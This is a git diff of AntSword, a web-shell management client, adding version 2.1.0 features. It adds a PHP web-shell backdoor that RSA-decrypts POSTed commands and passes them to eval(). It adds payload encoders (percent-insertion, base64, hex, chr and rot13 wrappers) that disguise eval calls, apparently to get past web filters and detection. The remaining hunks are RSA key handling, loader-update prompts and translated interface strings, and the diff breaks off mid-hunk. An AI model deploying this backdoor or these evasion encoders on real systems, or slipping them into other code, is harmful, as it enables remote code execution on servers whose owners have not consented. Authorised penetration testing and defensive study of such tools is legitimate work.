@@ -1,6 +1,6 @@
{
"name": "antsword",
"version": "2.0.7.2",
"version": "2.1.0",
"description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js",
"dependencies": {
@@ -9,6 +9,7 @@
"iconv-lite": "^0.4.23",
"jschardet": "^1.6.0",
"nedb": "^1.5.1",
"node-rsa": "^1.0.5",
"superagent": "^3.8.3",
"superagent-proxy": "^1.0.3",
"tar": "^4.4.6",
@@ -0,0 +1,32 @@
<?php
/**
* _ ____ _
* __ _ _ __ | |_/ ___|_ _____ _ __ __| |
* / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
* | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
* \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
* ———————————————————————————————————————————————
* AntSword PHP eval RSA Script
*
* 警告:
* 此脚本仅供合法的渗透测试以及爱好者参考学习
* 请勿用于非法用途,否则将追究其相关责任!
* ———————————————————————————————————————————————
* pwd=ant
*/
$cmd = @$_POST['ant'];
$publicKey = <<<EOF
-----BEGIN PUBLIC KEY-----
Input your Public Key
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$publicKey = openssl_pkey_get_public($publicKey);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $publicKey)) {
$cmd .= $de;
}
}
eval($cmd);
?>
@@ -256,6 +256,28 @@ ipcRenderer
antSword.modules.shellmanager.category.cell.setWidth(222);
}, 555);
})
/**
* 通知提示 Loader 更新
* @param {[type]} 'notification-loader-update' [description]
* @param {[type]} (e, opt [description]
* @return {[type]} [description]
*/
.on('notification-loader-update', (e, opt) => {
const LANG = antSword["language"]["settings"]["update"];
let n = new Notification(antSword['language']['update']['title'], {
body: antSword['language']['update']['body'](opt['ver'])
});
n.addEventListener('click', () => {
antSword.shell.openExternal(opt['url']);
});
layer.confirm(LANG['prompt']['loader_body'](opt['ver']), {
icon: 3, shift: 6,
title: LANG['prompt']['title']
}, (_) => {
antSword.shell.openExternal(opt['url']);
antSword.remote.app.quit();
});
})
/**
* 通知提示更新
* @param {[type]} 'notification-update' [description]
@@ -387,13 +409,16 @@ ipcRenderer
antSword.reloadPlug();
antSword['menubar'].reg('check-update', ()=>{
antSword.ipcRenderer.send('check-update');
antSword.ipcRenderer.send('check-loader-update');
});

if(new Date() - new Date(antSword['storage']('lastautocheck', false, "0")) >= 86400000) {
// 检查更新
antSword['storage']('lastautocheck', new Date().getTime());
setTimeout(
antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-update'),
setTimeout(() => {
antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-update');
antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-loader-update');
},
1000 * 60
);
}
@@ -0,0 +1,22 @@
/**
* asp::insert_percent 编码器
* 关键词中插入%号
* Create at: 2019/04/19 15:49:43
* <%eval request("ant")%>
*/

'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function($, $1) {
// asunescape(%) 表示括号内的内容不会被 URL 编码
return $1.split('').join('asunescape(%)');
});
data[pwd] = Buffer.from(_tmp);
delete data['_'];
return data;
}
@@ -7,7 +7,7 @@
// 密码:ant
'use strict';

module.exports = (pwd, data) => {
module.exports = (pwd, data, ext = null) => {
data[pwd] = data['_'].replace(/eval/ig, 'xxxx');
delete data['_'];
return data;
@@ -34,7 +34,7 @@ class ASP extends Base {
* @return {array} 编码器列表
*/
get encoders() {
return ['xxxxdog'];
return ['insert_percent', 'xxxxdog'];
}

/**
@@ -6,9 +6,9 @@

'use strict';

module.exports = (pwd, data) => {
module.exports = (pwd, data, ext = null) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[randomID] = Buffer.from(data['_']).toString('base64');
data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`;
delete data['_'];
return data;
@@ -6,11 +6,10 @@

'use strict';

module.exports = (pwd, data) => {

module.exports = (pwd, data, ext = null) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new System.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));}return sb.ToString();};";
data[randomID] = new Buffer(data['_']).toString('hex');
data[randomID] = Buffer.from(data['_']).toString('hex');
data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`;
delete data['_'];
return data;
@@ -7,6 +7,8 @@
'use strict';

const iconv = require('iconv-lite');
const NodeRSA = require('node-rsa');
const fs = require('fs');

class Base {

@@ -52,11 +54,22 @@ class Base {
}
}
// 解析自定义编码器
this.user_encoders.map((_)=>{
this.user_encoders.map((_) => {
this.parseEncoder(`${_}`);
});
}

/**
* 返回 RSA 对象
* @return {Object}
*/
rsaEncrypt() {
let key = new NodeRSA();
let priKey = fs.readFileSync(path.join(remote.process.env.AS_WORKDIR, `antData/key_rsa`));
key.importKey(priKey.toString(), 'private');
return key;
}

/**
* 返回参数列表
* @return {array} [arg1, arg2, arg3..]
@@ -85,8 +98,8 @@ class Base {
* @return {String} 编码后的字符串
*/
base64(str) {
return new Buffer(
iconv.encode(new Buffer(str), encode)
return Buffer.from(
iconv.encode(Buffer.from(str), encode)
).toString('base64');
},
/**
@@ -95,16 +108,16 @@ class Base {
* @return {Buffer} 转换完成的buffer
*/
buffer(str) {
return new Buffer(str).toString('hex').toUpperCase();
return Buffer.from(str).toString('hex').toUpperCase();
},
/**
* 字符串转16进制(进行编码转换
* @param {String} str 转换的字符串
* @return {Buffer} 转换完成的buffer
*/
hex(str) {
return new Buffer(
iconv.encode(new Buffer(str), encode)
return Buffer.from(
iconv.encode(Buffer.from(str), encode)
).toString('hex').toUpperCase();
}
}
@@ -131,7 +144,7 @@ class Base {
for (let funcName in templateObj) {
this[templateName][funcName] = (
(args) => {
if (typeof(args) === 'object') {
if (typeof (args) === 'object') {
// 如果脚本函数需要参数,则进行解析
return (argv) => {
let data = {};
@@ -152,7 +165,7 @@ class Base {
(func = formatter[tagArr[0]])
) {
// 如果包含有分割标签且该格式化函数存在,则调用该函数进行处理
retStr = func( argv[tagArr[1] || ''] );
retStr = func(argv[tagArr[1] || '']);
} else {
// 否则替换直接返回字符串
retStr = argv[tagStr] || '';
@@ -185,7 +198,7 @@ class Base {
// https://github.com/AntSwordProject/antSword/issues/135#issuecomment-475842870
delete require.cache[require.resolve(`${enc}`)];
// QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~
this['__encoder__'][enc.indexOf(`encoder/`) > -1 ? enc.split(`encoder/`)[1]:enc.split(`encoder\\`)[1]] = require(`${enc}`);
this['__encoder__'][enc.indexOf(`encoder/`) > -1 ? enc.split(`encoder/`)[1] : enc.split(`encoder\\`)[1]] = require(`${enc}`);
}

/**
@@ -196,10 +209,14 @@ class Base {
* @return {Object} 最终生成数据// 将返回三个参数对象:tag_s,tag_e,data
*/
encodeComplete(tag_s, tag_e, data) {
let ext = {
rsa: this.rsaEncrypt()
}
// 编码器处理
let finalData = this.__encoder__[this.__opts__['encoder']](
this.__opts__['pwd'],
data
data,
ext
);
return {
'tag_s': tag_s,
@@ -225,7 +242,7 @@ class Base {
// 请求完毕返回数据{text,buff}
.once(`request-${hash}`, (event, ret) => {
return res({
'encoding': ret['encoding']||"",
'encoding': ret['encoding'] || "",
'text': ret['text'],
'buff': ret['buff']
});
@@ -6,11 +6,11 @@

'use strict';

module.exports = (pwd, data) => {
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
ret[_] = new Buffer(data[_]).toString('base64');
ret[_] = Buffer.from(data[_]).toString('base64');
}
ret[pwd] = data['_'];
return ret;
@@ -4,11 +4,11 @@

'use strict';

module.exports = (pwd, data) => {
module.exports = (pwd, data, ext = null) => {
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
ret[_] = new Buffer(data[_]).toString('hex');
ret[_] = Buffer.from(data[_]).toString('hex');
}
ret[pwd] = data['_'];
return ret;
@@ -5,10 +5,10 @@

'use strict';

module.exports = (pwd, data) => {
module.exports = (pwd, data, ext = null) => {
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[randomID] = Buffer.from(data['_']).toString('base64');
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
@@ -5,14 +5,14 @@

'use strict'

module.exports = (pwd, data) => {
module.exports = (pwd, data, ext = null) => {
// 编码函数
const encode = (php) => {
let ret = [];
let i = 0;
while(i < php.length) {
while (i < php.length) {
ret.push(php[i].charCodeAt());
i ++;
i++;
}
return `@eVAl(cHr(${ret.join(').ChR(')}));`;
}
@@ -5,14 +5,14 @@

'use strict'

module.exports = (pwd, data) => {
module.exports = (pwd, data, ext = null) => {
// 编码函数
const encode = (php) => {
let ret = [];
let i = 0;
while(i < php.length) {
while (i < php.length) {
ret.push(php[i].charCodeAt().toString(16));
i ++;
i++;
}
return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`;
}
@@ -6,15 +6,15 @@

'use strict';

module.exports = (pwd, data) => {
module.exports = (pwd, data, ext = null) => {
const encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
//Get the character code of the current character and add 13 to it
//If it is larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);
//Get the character code of the current character and add 13 to it
//If it is larger than z's character code then subtract 26 to support wrap around.
return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);
});
}
}

// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
@@ -68,7 +68,8 @@ module.exports = {
pluginStore: 'Plugin Store',
clearCache: 'Clear cache',
clearAllCache: 'Clear all cache',
viewsite: 'View Site'
viewsite: 'View Site',
copyurl: 'Copy URL'
},
category: {
title: 'Category',
@@ -235,7 +236,7 @@ Hot Keys:
title: 'FileManager',
delete: {
title: 'Delete',
confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number' ? num + ' files' : num} ?`),
confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof (num) === 'number' ? num + ' files' : num} ?`),
success: (path) => `Delete file [${path}] success!`,
error: (path, err) => `Delete file [${path}] failed!${err ? '\n' + err : ''}`
},
@@ -522,7 +523,7 @@ Hot Keys:
gridheader: "Name,Type,Length,Not Null,Key,Auto Increment",
delete_not_select: "Please select the row you want to delete first",
save_row_is_null: "The number of rows is empty",
cell_valid_error: (i,j)=>`Data format validation failed(row ${i+1}, col ${j+1})`,
cell_valid_error: (i, j) => `Data format validation failed(row ${i + 1}, col ${j + 1})`,
confirmtitle: "New table name",
invalid_tablename: "Table names should not contain special symbols",
success: 'Create table successfully',
@@ -535,7 +536,7 @@ Hot Keys:
error: 'Failed to update table',
},
deltable: {
title:'Delete Table',
title: 'Delete Table',
confirm: (name) => antSword.noxss(`Are you sure you want to delete table ${name}?`),
success: 'Delete table successfully',
error: 'Failed to delete table',
@@ -551,7 +552,7 @@ Hot Keys:
error: 'Failed to update column',
},
delcolumn: {
title:'Delete Column',
title: 'Delete Column',
confirm: (name) => antSword.noxss(`Are you sure you want to delete column ${name}?`),
success: 'Delete column successfully',
error: 'Failed to delete column',
@@ -606,6 +607,7 @@ Hot Keys:
no: 'Cancel'
},
body: (ver) => `Found new version v${ver}, update now?`,
loader_body: (ver) => `The new version of the Loader v${ver} has been released, the currently used loader will not be available, will you quit the program and go to download the latest version of the Loader?`,
title: 'Update to version',
changelog: 'Change Logs: ',
sources: 'Download source: ',
@@ -615,30 +617,38 @@ Hot Keys:
}
},
message: {
githint: (workdir)=>`The current source is Git management, please close the program and go to ${workdir} to manually update`,
githint: (workdir) => `The current source is Git management, please close the program and go to ${workdir} to manually update`,
prepare: "Connecte to server...",
dling: (progress)=> `Downloading...${progress}%`,
dlingnp: (size)=> `Downloading...${size}`,
dling: (progress) => `Downloading...${progress}%`,
dlingnp: (size) => `Downloading...${size}`,
dlend: "Download completed",
extract: "Unpacking, don't close AntSword",
ing: 'Downloading..',
fail: (err) => `Update failed! [${err}]`,
success: 'Update success! Please manually restart the application later!'
}
},
encoders:{
encoders: {
title: 'Encoder Manager',
toolbar: {
new: "New",
edit: "Edit",
delete: "Delete",
help: "Help",
save: "Save",
rsa: "RSA Config",
generate: "Generate"
},
grid: {
ename: "Name",
etype: "Type"
},
form: {
public_key: "Public Key",
private_key: "Private Key",
php_code: "PHP Code"
},
rsa_config_win_title: "RSA Encoder Config",
edit_win_title: "Edit Encoder",
delete_title: "Delete Encoder",
message: {
@@ -654,12 +664,15 @@ Hot Keys:
delete_not_select: "Please select the row you want to delete first",
delete_success: "Delete success",
ename_invalid: "Name can only contain numbers, letters, and underlines",
rsa_save_success: "Generate and save RSA success",
rsa_save_error: "Generate and save RSA error",
},
prompt: {
create_encoder: "Create Encoder",
},
confirm: {
delete: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number' ? num + ' encoders' : num}?`),
generate: 'Are you sure to regemerate RSA?',
delete: (num) => antSword.noxss(`Are you sure to delete ${typeof (num) === 'number' ? num + ' encoders' : num}?`),
}
},
aproxy: {
@@ -670,7 +683,7 @@ Hot Keys:
},
form: {
label: 'Configure proxy for access to the Internet',
mode:{
mode: {
noproxy: 'Do not use agent',
manualproxy: 'Manually set the proxy'
},
@@ -689,7 +702,7 @@ Hot Keys:
content: 'Restart the application to take effect, whether to restart?',
title: 'Change proxy settings'
},
prompt:{
prompt: {
title: 'Enter the Test-URL',
success: 'Connect to proxy server successfully',
error: 'Failed to connect to the proxy server'
@@ -706,7 +719,7 @@ Hot Keys:
toolbar: {
save: 'Save'
},
form:{
form: {
shellmanager: {
title: 'Shell Lists',
hiddencolumns: {
@@ -759,7 +772,7 @@ Hot Keys:
},
del: {
title: 'Delete Bookmark',
confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number' ? num + ' Bookmarks' : num+" "}?`),
confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof (num) === 'number' ? num + ' Bookmarks' : num + " "}?`),
success: 'Delete success'
},
edit: {
@@ -781,7 +794,7 @@ Hot Keys:
},
viewsite: {
toolbar: {
useproxy: (s) => `Proxy: ${s?'ON':'OFF'}`,
useproxy: (s) => `Proxy: ${s ? 'ON' : 'OFF'}`,
save: 'Save',
view: 'View'
},
@@ -69,7 +69,8 @@ module.exports = {
pluginStore: '插件市场',
clearCache: '清空缓存',
clearAllCache: '清空所有缓存',
viewsite: '浏览网站'
viewsite: '浏览网站',
copyurl: '复制URL'
},
category: {
title: '分类目录',
@@ -236,7 +237,7 @@ module.exports = {
title: '文件管理',
delete: {
title: '删除文件',
confirm: (num) => antSword.noxss(`你确定要删除 ${typeof(num) === 'number' ? num + ' 个文件' : num} 吗?`),
confirm: (num) => antSword.noxss(`你确定要删除 ${typeof (num) === 'number' ? num + ' 个文件' : num} 吗?`),
success: (path) => `删除文件成功!\n${path}`,
error: (path, err) => `删除文件 [${path}] 失败!${err ? '\n' + err : ''}`
},
@@ -523,7 +524,7 @@ module.exports = {
gridheader: "名称,类型,长度,不为空,主键,自增长",
delete_not_select: "请先选中要删除的行",
save_row_is_null: "行数为空",
cell_valid_error: (i,j)=>`数据格式校验失败(${i+1}行,${j+1}列)`,
cell_valid_error: (i, j) => `数据格式校验失败(${i + 1}行,${j + 1}列)`,
confirmtitle: "输入新表名",
invalid_tablename: "表名不能带有特殊符号",
success: '新建表成功',
@@ -536,7 +537,7 @@ module.exports = {
error: '修改表名失败',
},
deltable: {
title:'删除表',
title: '删除表',
confirm: (name) => antSword.noxss(`确定要删除表 ${name} 吗?`),
success: '删除表成功',
error: '删除表失败',
@@ -552,7 +553,7 @@ module.exports = {
error: '修改列名失败'
},
delcolumn: {
title:'删除列',
title: '删除列',
confirm: (name) => antSword.noxss(`确定要删除列 ${name} 吗?`),
success: '删除列成功',
error: '删除列失败',
@@ -607,6 +608,7 @@ module.exports = {
no: '下次再说'
},
body: (ver) => `发现新版本 v${ver}, 是否更新?`,
loader_body: (ver) => `加载器新版本 v${ver} 已经发布,当前使用的加载器即将不能使用, 是否退出程序并前往下载最新版加载器?`,
title: '版本更新',
changelog: '更新日志:',
sources: '更新来源:',
@@ -616,30 +618,38 @@ module.exports = {
}
},
message: {
githint: (workdir)=>`当前源码为Git管理,请关闭程序并前往 ${workdir} 手动更新`,
githint: (workdir) => `当前源码为Git管理,请关闭程序并前往 ${workdir} 手动更新`,
prepare: "连接更新服务器...",
dling: (progress)=> `正在下载更新包...${progress}%`,
dlingnp: (size)=> `正在下载更新包...${size}`,
dling: (progress) => `正在下载更新包...${progress}%`,
dlingnp: (size) => `正在下载更新包...${size}`,
dlend: "下载完毕",
extract: "正在解压, 请勿关闭程序",
ing: '努力更新中。。',
fail: (err) => `更新失败!【${err}】`,
success: '更新成功!请稍后手动重启应用!'
}
},
encoders:{
encoders: {
title: '编码管理',
toolbar: {
new: "新建",
edit: "编辑",
delete: "删除",
help: "帮助",
save: "保存",
rsa: "RSA配置",
generate: "生成"
},
grid: {
ename: "名称",
etype: "类型"
},
form: {
public_key: "公钥",
private_key: "私钥",
php_code: "PHP 代码"
},
rsa_config_win_title: "RSA编码器配置",
edit_win_title: "编辑编码器",
delete_title: "删除编码器",
message: {
@@ -655,12 +665,15 @@ module.exports = {
delete_not_select: "请先选中要删除的行",
delete_success: "删除成功",
ename_invalid: "名称只能包含数字、字母、下划线",
rsa_save_success: "生成 RSA 密钥对成功",
rsa_save_error: "生成 RSA 密钥对错误",
},
prompt: {
create_encoder: "创建编码器",
},
confirm: {
delete: (num) => antSword.noxss(`你确定要删除 ${typeof(num) === 'number' ? num + ' 个编码器' : num+" "}吗?`),
generate: '你确定要重新生成?',
delete: (num) => antSword.noxss(`你确定要删除 ${typeof (num) === 'number' ? num + ' 个编码器' : num + " "}吗?`),
}
},
aproxy: {
@@ -671,7 +684,7 @@ module.exports = {
},
form: {
label: '配置访问互联网的代理',
mode:{
mode: {
noproxy: '不使用代理',
manualproxy: '手动设置代理'
},
@@ -690,7 +703,7 @@ module.exports = {
content: '重启应用生效,是否重启?',
title: '更改代理设置'
},
prompt:{
prompt: {
title: '输入测试的 URL',
success: '连接到代理服务器成功',
error: '连接到代理服务器失败'
@@ -707,7 +720,7 @@ module.exports = {
toolbar: {
save: '保存'
},
form:{
form: {
shellmanager: {
title: '数据管理',
hiddencolumns: {
@@ -760,7 +773,7 @@ module.exports = {
},
del: {
title: '删除书签',
confirm: (num) => antSword.noxss(`你确定要删除 ${typeof(num) === 'number' ? num + ' 个书签' : num+" "}吗?`),
confirm: (num) => antSword.noxss(`你确定要删除 ${typeof (num) === 'number' ? num + ' 个书签' : num + " "}吗?`),
success: '删除成功'
},
edit: {
@@ -781,7 +794,7 @@ module.exports = {
},
viewsite: {
toolbar: {
useproxy: (s) => `代理: ${s?'开':'关'}`,
useproxy: (s) => `代理: ${s ? '开' : '关'}`,
save: '保存',
view: '浏览'
},
@@ -69,7 +69,8 @@ module.exports = {
pluginStore: '插件市場',
clearCache: '清空緩存',
clearAllCache: '清空所有緩存',
viewsite: '瀏覽網站'
viewsite: '瀏覽網站',
copyurl: '複製URL'
},
category: {
title: '分類目錄',
@@ -236,7 +237,7 @@ module.exports = {
title: '文件管理',
delete: {
title: '刪除文件',
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個文件' : num} 嗎?`),
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個文件' : num} 嗎?`),
success: (path) => `刪除文件成功!\n${path}`,
error: (path, err) => `刪除文件 [${path}] 失敗!${err ? '\n' + err : ''}`
},
@@ -523,7 +524,7 @@ module.exports = {
gridheader: "名稱,類型,長度,不為空,主鍵,自增長",
delete_not_select: "請先選中要刪除的行",
save_row_is_null: "行數為空",
cell_valid_error: (i,j)=>`數據格式校驗失敗(${i+1}行,${j+1}列)`,
cell_valid_error: (i, j) => `數據格式校驗失敗(${i + 1}行,${j + 1}列)`,
confirmtitle: "輸入新表名",
invalid_tablename: "表名不能帶有特殊符號",
success: '新建表成功',
@@ -536,7 +537,7 @@ module.exports = {
error: '修改表名失敗',
},
deltable: {
title:'刪除表',
title: '刪除表',
confirm: (name) => antSword.noxss(`確定要刪除表 ${name} 嗎?`),
success: '刪除表成功',
error: '刪除表失敗',
@@ -552,7 +553,7 @@ module.exports = {
error: '修改列名失敗'
},
delcolumn: {
title:'刪除列',
title: '刪除列',
confirm: (name) => antSword.noxss(`確定要刪除列 ${name} 嗎?`),
success: '刪除列成功',
error: '刪除列失敗',
@@ -607,6 +608,7 @@ module.exports = {
no: '下次再説'
},
body: (ver) => `發現新版本 v${ver}, 是否更新?`,
loader_body: (ver) => `加載器新版本 v${ver} 已經發布,當前使用的加載器即將不能使用, 是否退出程序並前往下載最新版加載器?`,
title: '版本更新',
changelog: '更新日誌:',
sources: '更新來源:',
@@ -616,30 +618,38 @@ module.exports = {
}
},
message: {
githint: (workdir)=>`當前源碼為Git管理,請關閉程序並前往 ${workdir} 手動更新`,
githint: (workdir) => `當前源碼為Git管理,請關閉程序並前往 ${workdir} 手動更新`,
prepare: "連接更新服務器...",
dling: (progress)=> `正在下載更新包...${progress}%`,
dlingnp: (size)=> `正在下載更新包...${size}`,
dling: (progress) => `正在下載更新包...${progress}%`,
dlingnp: (size) => `正在下載更新包...${size}`,
dlend: "下載完畢",
extract: "正在解壓, 請勿關閉程序",
ing: '努力更新中。。',
fail: (err) => `更新失敗!【${err}】`,
success: '更新成功!請稍後手動重啟應用!'
}
},
encoders:{
encoders: {
title: '編碼管理',
toolbar: {
new: "新建",
edit: "編輯",
delete: "刪除",
help: "幫助",
save: "保存",
rsa: "RSA配置",
generate: "生成"
},
grid: {
ename: "名稱",
etype: "類型"
},
form: {
public_key: "公鑰",
private_key: "私鑰",
php_code: "PHP 代碼"
},
rsa_config_win_title: "RSA編碼器配置",
edit_win_title: "編輯編碼器",
delete_title: "刪除編碼器",
message: {
@@ -655,12 +665,15 @@ module.exports = {
delete_not_select: "請先選中要刪除的行",
delete_success: "刪除成功",
ename_invalid: "名稱只能包含數字、字母、下劃線",
rsa_save_success: "生成 RSA 密鑰對成功",
rsa_save_error: "生成 RSA 密鑰對錯誤",
},
prompt: {
generate: '妳確定要重新生成?',
create_encoder: "創建編碼器",
},
confirm: {
delete: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個編碼器' : num+" "}嗎?`),
delete: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個編碼器' : num + " "}嗎?`),
}
},
aproxy: {
@@ -671,7 +684,7 @@ module.exports = {
},
form: {
label: '配置訪問互聯網的代理',
mode:{
mode: {
noproxy: '不使用代理',
manualproxy: '手動設置代理'
},
@@ -690,7 +703,7 @@ module.exports = {
content: '重啟應用生效,是否重啟?',
title: '更改代理設置'
},
prompt:{
prompt: {
title: '輸入測試的 URL',
success: '連接到代理服務器成功',
error: '連接到代理服務器失敗'
@@ -707,7 +720,7 @@ module.exports = {
toolbar: {
save: '保存'
},
form:{
form: {
shellmanager: {
title: '數據管理',
hiddencolumns: {
@@ -760,7 +773,7 @@ module.exports = {
},
del: {
title: '刪除書籤',
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個書籤' : num+" "}嗎?`),
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個書籤' : num + " "}嗎?`),
success: '刪除成功'
},
edit: {
@@ -781,7 +794,7 @@ module.exports = {
},
viewsite: {
toolbar: {
useproxy: (s) => `代理: ${s?'開':'關'}`,
useproxy: (s) => `代理: ${s ? '開' : '關'}`,
save: '保存',
view: '瀏覽'
},
@@ -69,7 +69,8 @@ module.exports = {
pluginStore: '插件市場',
clearCache: '清空緩存',
clearAllCache: '清空所有緩存',
viewsite: '瀏覽網站'
viewsite: '瀏覽網站',
copyurl: '複製URL'
},
category: {
title: '分類目錄',
@@ -236,7 +237,7 @@ module.exports = {
title: '文件管理',
delete: {
title: '刪除文件',
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個文件' : num} 嗎?`),
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個文件' : num} 嗎?`),
success: (path) => `刪除文件成功!\n${path}`,
error: (path, err) => `刪除文件 [${path}] 失敗!${err ? '\n' + err : ''}`
},
@@ -523,7 +524,7 @@ module.exports = {
gridheader: "名稱,類型,長度,不為空,主鍵,自增長",
delete_not_select: "請先選中要刪除的行",
save_row_is_null: "行數為空",
cell_valid_error: (i,j)=>`數據格式校驗失敗(${i+1}行,${j+1}列)`,
cell_valid_error: (i, j) => `數據格式校驗失敗(${i + 1}行,${j + 1}列)`,
confirmtitle: "輸入新表名",
invalid_tablename: "表名不能帶有特殊符號",
success: '新建表成功',
@@ -536,7 +537,7 @@ module.exports = {
error: '修改表名失敗',
},
deltable: {
title:'刪除表',
title: '刪除表',
confirm: (name) => antSword.noxss(`確定要刪除表 ${name} 嗎?`),
success: '刪除表成功',
error: '刪除表失敗',
@@ -552,7 +553,7 @@ module.exports = {
error: '修改列名失敗'
},
delcolumn: {
title:'刪除列',
title: '刪除列',
confirm: (name) => antSword.noxss(`確定要刪除列 ${name} 嗎?`),
success: '刪除列成功',
error: '刪除列失敗',
@@ -607,6 +608,7 @@ module.exports = {
no: '下次再說'
},
body: (ver) => `發現新版本 v${ver}, 是否更新?`,
loader_body: (ver) => `加載器新版本 v${ver} 已經發布,當前使用的加載器即將不能使用, 是否退出程序並前往下載最新版加載器?`,
title: '版本更新',
changelog: '更新日誌:',
sources: '更新來源:',
@@ -616,30 +618,38 @@ module.exports = {
}
},
message: {
githint: (workdir)=>`當前源碼為Git管理,請關閉程序並前往 ${workdir} 手動更新`,
githint: (workdir) => `當前源碼為Git管理,請關閉程序並前往 ${workdir} 手動更新`,
prepare: "連接更新服務器...",
dling: (progress)=> `正在下載更新包...${progress}%`,
dlingnp: (size)=> `正在下載更新包...${size}`,
dling: (progress) => `正在下載更新包...${progress}%`,
dlingnp: (size) => `正在下載更新包...${size}`,
dlend: "下載完畢",
extract: "正在解壓, 請勿關閉程序",
ing: '努力更新中。。',
fail: (err) => `更新失敗!【${err}】`,
success: '更新成功!請稍後手動重啟應用!'
}
},
encoders:{
encoders: {
title: '編碼管理',
toolbar: {
new: "新建",
edit: "編輯",
delete: "刪除",
help: "幫助",
save: "保存",
rsa: "RSA配置",
generate: "生成"
},
grid: {
ename: "名稱",
etype: "類型"
},
form: {
public_key: "公鑰",
private_key: "私鑰",
php_code: "PHP 代碼"
},
rsa_config_win_title: "RSA編碼器配置",
edit_win_title: "編輯編碼器",
delete_title: "刪除編碼器",
message: {
@@ -655,12 +665,15 @@ module.exports = {
delete_not_select: "請先選中要刪除的行",
delete_success: "刪除成功",
ename_invalid: "名稱只能包含數字、字母、下劃線",
rsa_save_success: "生成 RSA 密鑰對成功",
rsa_save_error: "生成 RSA 密鑰對錯誤",
},
prompt: {
create_encoder: "創建編碼器",
},
confirm: {
delete: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個編碼器' : num+" "}嗎?`),
generate: '妳確定要重新生成?',
delete: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個編碼器' : num + " "}嗎?`),
}
},
aproxy: {
@@ -671,7 +684,7 @@ module.exports = {
},
form: {
label: '配置訪問互聯網的代理',
mode:{
mode: {
noproxy: '不使用代理',
manualproxy: '手動設置代理'
},
@@ -690,7 +703,7 @@ module.exports = {
content: '重啟應用生效,是否重啟?',
title: '更改代理設置'
},
prompt:{
prompt: {
title: '輸入測試的 URL',
success: '連接到代理服務器成功',
error: '連接到代理服務器失敗'
@@ -707,7 +720,7 @@ module.exports = {
toolbar: {
save: '保存'
},
form:{
form: {
shellmanager: {
title: '數據管理',
hiddencolumns: {
@@ -760,7 +773,7 @@ module.exports = {
},
del: {
title: '刪除書籤',
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof(num) === 'number' ? num + ' 個書籤' : num+" "}嗎?`),
confirm: (num) => antSword.noxss(`你確定要刪除 ${typeof (num) === 'number' ? num + ' 個書籤' : num + " "}嗎?`),
success: '刪除成功'
},
edit: {
@@ -781,7 +794,7 @@ module.exports = {
},
viewsite: {
toolbar: {
useproxy: (s) => `代理: ${s?'開':'關'}`,
useproxy: (s) => `代理: ${s ? '開' : '關'}`,
save: '保存',
view: '瀏覽'
},
@@ -42,7 +42,7 @@ class ASP {
id: arr[0]
});
if (arr.length > 1) {
this.dbconf['database'] = new Buffer(arr[1], 'base64').toString();
this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString();
// 更新SQL编辑器
this.enableEditor();
// manager.query.update(this.currentConf);
@@ -64,24 +64,24 @@ class ASP {
let _db = arr[1].split(':');
this.getTables(
_db[0],
